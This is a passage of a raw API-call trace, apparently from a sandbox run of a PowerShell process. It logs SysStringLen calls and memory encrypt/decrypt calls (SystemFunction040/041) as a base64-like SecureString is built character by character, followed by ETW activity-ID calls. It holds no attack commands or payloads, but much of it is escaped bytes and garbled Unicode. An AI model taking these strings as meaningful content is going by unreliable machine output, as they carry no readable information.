(param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a\xb0d7\x195b\x2c5\x59f4\xf702\x733\x5193\x97c4") returned 0x20 [0130.030] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a\xb0d7\x195b\x2c5\x59f4\xf702\x733\x5193\x97c4") returned 0x20 [0130.030] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.030] SysStringLen (param_1="SWxlmgfKdtlCp3fcB9CJUBZfnEO3鷿泀쒉") returned 0x20 [0130.030] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.030] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a\x8400\x1c30\x6a1e\xcc4c\x2947\x7258\xc644\xa6fa") returned 0x20 [0130.030] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a\x8400\x1c30\x6a1e\xcc4c\x2947\x7258\xc644\xa6fa") returned 0x20 [0130.030] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.030] SysStringLen (param_1="SWxlmgfKdtlCp3fcB9CJUBZfnEO3G鷿泀쒉") returned 0x20 [0130.030] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.030] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a\x1e13\xbf0\x6ee1\x6ce5\xae75\x12e9\x73ac\x3a2d") returned 0x20 [0130.030] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a\x1e13\xbf0\x6ee1\x6ce5\xae75\x12e9\x73ac\x3a2d") returned 0x20 [0130.030] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.030] SysStringLen (param_1="SWxlmgfKdtlCp3fcB9CJUBZfnEO3GD泀쒉") returned 0x20 [0130.030] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.031] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a\x1843\x690c\x132d\x841f\x8e5c\xf794\x8132\x6534") returned 0x20 [0130.031] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a\x1843\x690c\x132d\x841f\x8e5c\xf794\x8132\x6534") returned 0x20 [0130.031] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.031] SysStringLen (param_1="SWxlmgfKdtlCp3fcB9CJUBZfnEO3GDt쒉") returned 0x20 [0130.031] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.031] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a\x8625\x6e40\xda4a\xba77\xf6e7\xa64\xd668\xa927") returned 0x20 [0130.031] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a\x8625\x6e40\xda4a\xba77\xf6e7\xa64\xd668\xa927") returned 0x20 [0130.031] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.031] SysStringLen (param_1="SWxlmgfKdtlCp3fcB9CJUBZfnEO3GDt2") returned 0x20 [0130.031] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.031] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a\x7aba\x7f6e\xc7d0\x5f88\xf1e8\xdb85\x343b\xb409") returned 0x20 [0130.031] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a\x7aba\x7f6e\xc7d0\x5f88\xf1e8\xdb85\x343b\xb409") returned 0x20 [0130.031] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a\x7aba\x7f6e\xc7d0\x5f88\xf1e8\xdb85\x343b\xb409") returned 0x20 [0130.031] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a\x7aba\x7f6e\xc7d0\x5f88\xf1e8\xdb85\x343b\xb409\x57\x53\x42\x4c\x64\x57\x59\x70") returned 0x28 [0130.031] SystemFunction041 (in: Memory=0x4383644, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383644) returned 0x0 [0130.031] SysStringLen (param_1="SWxlmgfKdtlCp3fcB9CJUBZfnEO3GDt2Q䫅毽〿꬟砑뗼쮳") returned 0x28 [0130.031] SystemFunction040 (in: Memory=0x4383644, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383644) returned 0x0 [0130.032] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a\x7aba\x7f6e\xc7d0\x5f88\xf1e8\xdb85\x343b\xb409\x5b2e\x581d\xe8e5\x8628\x8c9d\xb821\x04\x10ab") returned 0x28 [0130.032] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a\x7aba\x7f6e\xc7d0\x5f88\xf1e8\xdb85\x343b\xb409\x5b2e\x581d\xe8e5\x8628\x8c9d\xb821\x04\x10ab") returned 0x28 [0130.032] SystemFunction041 (in: Memory=0x4383644, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383644) returned 0x0 [0130.032] SysStringLen (param_1="SWxlmgfKdtlCp3fcB9CJUBZfnEO3GDt2QS毽〿꬟砑뗼쮳") returned 0x28 [0130.032] SystemFunction040 (in: Memory=0x4383644, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383644) returned 0x0 [0130.032] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a\x7aba\x7f6e\xc7d0\x5f88\xf1e8\xdb85\x343b\xb409\xbc49\x8df9\xbd1\xd558\xcd3d\xae05\x1687\xa6e8") returned 0x28 [0130.032] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a\x7aba\x7f6e\xc7d0\x5f88\xf1e8\xdb85\x343b\xb409\xbc49\x8df9\xbd1\xd558\xcd3d\xae05\x1687\xa6e8") returned 0x28 [0130.032] SystemFunction041 (in: Memory=0x4383644, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383644) returned 0x0 [0130.032] SysStringLen (param_1="SWxlmgfKdtlCp3fcB9CJUBZfnEO3GDt2QSP〿꬟砑뗼쮳") returned 0x28 [0130.032] SystemFunction040 (in: Memory=0x4383644, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383644) returned 0x0 [0130.032] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a\x7aba\x7f6e\xc7d0\x5f88\xf1e8\xdb85\x343b\xb409\x1d11\x7e49\xd6a2\xb99c\xa76b\xc44d\xd4c6\x4968") returned 0x28 [0130.032] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a\x7aba\x7f6e\xc7d0\x5f88\xf1e8\xdb85\x343b\xb409\x1d11\x7e49\xd6a2\xb99c\xa76b\xc44d\xd4c6\x4968") returned 0x28 [0130.032] SystemFunction041 (in: Memory=0x4383644, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383644) returned 0x0 [0130.032] SysStringLen (param_1="SWxlmgfKdtlCp3fcB9CJUBZfnEO3GDt2QSPU꬟砑뗼쮳") returned 0x28 [0130.032] SystemFunction040 (in: Memory=0x4383644, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383644) returned 0x0 [0130.032] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a\x7aba\x7f6e\xc7d0\x5f88\xf1e8\xdb85\x343b\xb409\x1e85\x60c4\x754c\x530\xa4ff\x11ee\x5f22\xbc13") returned 0x28 [0130.032] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a\x7aba\x7f6e\xc7d0\x5f88\xf1e8\xdb85\x343b\xb409\x1e85\x60c4\x754c\x530\xa4ff\x11ee\x5f22\xbc13") returned 0x28 [0130.032] SystemFunction041 (in: Memory=0x4383644, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383644) returned 0x0 [0130.033] SysStringLen (param_1="SWxlmgfKdtlCp3fcB9CJUBZfnEO3GDt2QSPUv砑뗼쮳") returned 0x28 [0130.033] SystemFunction040 (in: Memory=0x4383644, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383644) returned 0x0 [0130.033] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a\x7aba\x7f6e\xc7d0\x5f88\xf1e8\xdb85\x343b\xb409\x70c6\xac8f\x41f5\x86d8\x28a5\xbcbd\x64f\x99aa") returned 0x28 [0130.033] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a\x7aba\x7f6e\xc7d0\x5f88\xf1e8\xdb85\x343b\xb409\x70c6\xac8f\x41f5\x86d8\x28a5\xbcbd\x64f\x99aa") returned 0x28 [0130.033] SystemFunction041 (in: Memory=0x4383644, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383644) returned 0x0 [0130.033] SysStringLen (param_1="SWxlmgfKdtlCp3fcB9CJUBZfnEO3GDt2QSPUv6뗼쮳") returned 0x28 [0130.033] SystemFunction040 (in: Memory=0x4383644, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383644) returned 0x0 [0130.033] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a\x7aba\x7f6e\xc7d0\x5f88\xf1e8\xdb85\x343b\xb409\x7974\x5811\x1294\xdf88\x122e\x97b1\x7d20\x2a8") returned 0x28 [0130.033] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a\x7aba\x7f6e\xc7d0\x5f88\xf1e8\xdb85\x343b\xb409\x7974\x5811\x1294\xdf88\x122e\x97b1\x7d20\x2a8") returned 0x28 [0130.033] SystemFunction041 (in: Memory=0x4383644, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383644) returned 0x0 [0130.033] SysStringLen (param_1="SWxlmgfKdtlCp3fcB9CJUBZfnEO3GDt2QSPUv6L쮳") returned 0x28 [0130.033] SystemFunction040 (in: Memory=0x4383644, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383644) returned 0x0 [0130.033] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a\x7aba\x7f6e\xc7d0\x5f88\xf1e8\xdb85\x343b\xb409\x5cb0\x4b23\x242\xa409\x50a2\x163c\xe381\x93ed") returned 0x28 [0130.033] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a\x7aba\x7f6e\xc7d0\x5f88\xf1e8\xdb85\x343b\xb409\x5cb0\x4b23\x242\xa409\x50a2\x163c\xe381\x93ed") returned 0x28 [0130.033] SystemFunction041 (in: Memory=0x4383644, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383644) returned 0x0 [0130.033] SysStringLen (param_1="SWxlmgfKdtlCp3fcB9CJUBZfnEO3GDt2QSPUv6LA") returned 0x28 [0130.033] SystemFunction040 (in: Memory=0x4383644, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383644) returned 0x0 [0130.034] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a\x7aba\x7f6e\xc7d0\x5f88\xf1e8\xdb85\x343b\xb409\x4997\xd995\x97b7\x2d6a\xe3b3\x42bd\x276d\x3419") returned 0x28 [0130.034] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a\x7aba\x7f6e\xc7d0\x5f88\xf1e8\xdb85\x343b\xb409\x4997\xd995\x97b7\x2d6a\xe3b3\x42bd\x276d\x3419") returned 0x28 [0130.034] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a\x7aba\x7f6e\xc7d0\x5f88\xf1e8\xdb85\x343b\xb409\x4997\xd995\x97b7\x2d6a\xe3b3\x42bd\x276d\x3419") returned 0x28 [0130.034] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a\x7aba\x7f6e\xc7d0\x5f88\xf1e8\xdb85\x343b\xb409\x4997\xd995\x97b7\x2d6a\xe3b3\x42bd\x276d\x3419\x76\x6a\x38\x57\x34\x35\x63\x31") returned 0x30 [0130.034] SystemFunction041 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0130.034] SysStringLen (param_1="SWxlmgfKdtlCp3fcB9CJUBZfnEO3GDt2QSPUv6LAfꏒᦾ猉⊼") returned 0x30 [0130.034] SystemFunction040 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0130.034] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a\x7aba\x7f6e\xc7d0\x5f88\xf1e8\xdb85\x343b\xb409\x4997\xd995\x97b7\x2d6a\xe3b3\x42bd\x276d\x3419\x5d6d\x5621\xeca6\x482f\x7827\x6d40\x2c12\x65bf") returned 0x30 [0130.034] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a\x7aba\x7f6e\xc7d0\x5f88\xf1e8\xdb85\x343b\xb409\x4997\xd995\x97b7\x2d6a\xe3b3\x42bd\x276d\x3419\x5d6d\x5621\xeca6\x482f\x7827\x6d40\x2c12\x65bf") returned 0x30 [0130.034] SystemFunction041 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0130.034] SysStringLen (param_1="SWxlmgfKdtlCp3fcB9CJUBZfnEO3GDt2QSPUv6LAfYꏒᦾ猉⊼") returned 0x30 [0130.034] SystemFunction040 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0130.034] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a\x7aba\x7f6e\xc7d0\x5f88\xf1e8\xdb85\x343b\xb409\x4997\xd995\x97b7\x2d6a\xe3b3\x42bd\x276d\x3419\x783a\x1e28\x891a\xcd62\xb854\xbb05\x455d\x5925") returned 0x30 [0130.034] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a\x7aba\x7f6e\xc7d0\x5f88\xf1e8\xdb85\x343b\xb409\x4997\xd995\x97b7\x2d6a\xe3b3\x42bd\x276d\x3419\x783a\x1e28\x891a\xcd62\xb854\xbb05\x455d\x5925") returned 0x30 [0130.034] SystemFunction041 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0130.035] SysStringLen (param_1="SWxlmgfKdtlCp3fcB9CJUBZfnEO3GDt2QSPUv6LAfYoᦾ猉⊼") returned 0x30 [0130.035] SystemFunction040 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0130.036] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a\x7aba\x7f6e\xc7d0\x5f88\xf1e8\xdb85\x343b\xb409\x4997\xd995\x97b7\x2d6a\xe3b3\x42bd\x276d\x3419\x4882\xee9e\xa065\xe955\xc4d5\xc15b\x1931\x5734") returned 0x30 [0130.036] SysStringLen (param_1="\x6159\x19fb\x3712\x9728\xae25\xaade\xb6d1\x1a07\x111b\x2a8\x9693\xb2c3\xd9f0\x5223\x69d0\x6124\xe57\x873f\x3c4f\x3541\x2dcb\x896a\x293b\xf45a\x7aba\x7f6e\xc7d0\x5f88\xf1e8\xdb85\x343b\xb409\x4997\xd995\x97b7\x2d6a\xe3b3\x42bd\x276d\x3419\x4882\xee9e\xa065\xe955\xc4d5\xc15b\x1931\x5734") returned 0x30 [0130.036] SystemFunction041 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0130.036] SysStringLen (param_1="SWxlmgfKdtlCp3fcB9CJUBZfnEO3GDt2QSPUv6LAfYo=猉⊼") returned 0x30 [0130.036] SystemFunction040 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0130.037] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe7, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.037] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe7, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.037] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe6, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe6, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.037] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5fc, nSize=0x100 | out: lpBuffer="㡐犯,") returned 0x0 [0130.037] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9d4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9d4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe8, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.037] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae934*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae934*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe6, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.037] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe8, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe8, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.038] SysStringLen (param_1="") returned 0x8 [0130.038] SysStringLen (param_1="Y") returned 0x8 [0130.038] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.038] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0130.038] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0130.038] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.038] SysStringLen (param_1="YW") returned 0x8 [0130.038] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.038] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0130.038] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0130.038] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.038] SysStringLen (param_1="YWM") returned 0x8 [0130.038] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.038] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0130.038] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0130.038] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.038] SysStringLen (param_1="YWM1") returned 0x8 [0130.039] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.039] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0130.039] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0130.039] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.039] SysStringLen (param_1="YWM1O") returned 0x8 [0130.039] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.039] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0130.039] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0130.039] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.039] SysStringLen (param_1="YWM1OT") returned 0x8 [0130.039] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.039] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0130.039] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0130.039] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.039] SysStringLen (param_1="YWM1OTE") returned 0x8 [0130.039] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.039] SysStringLen 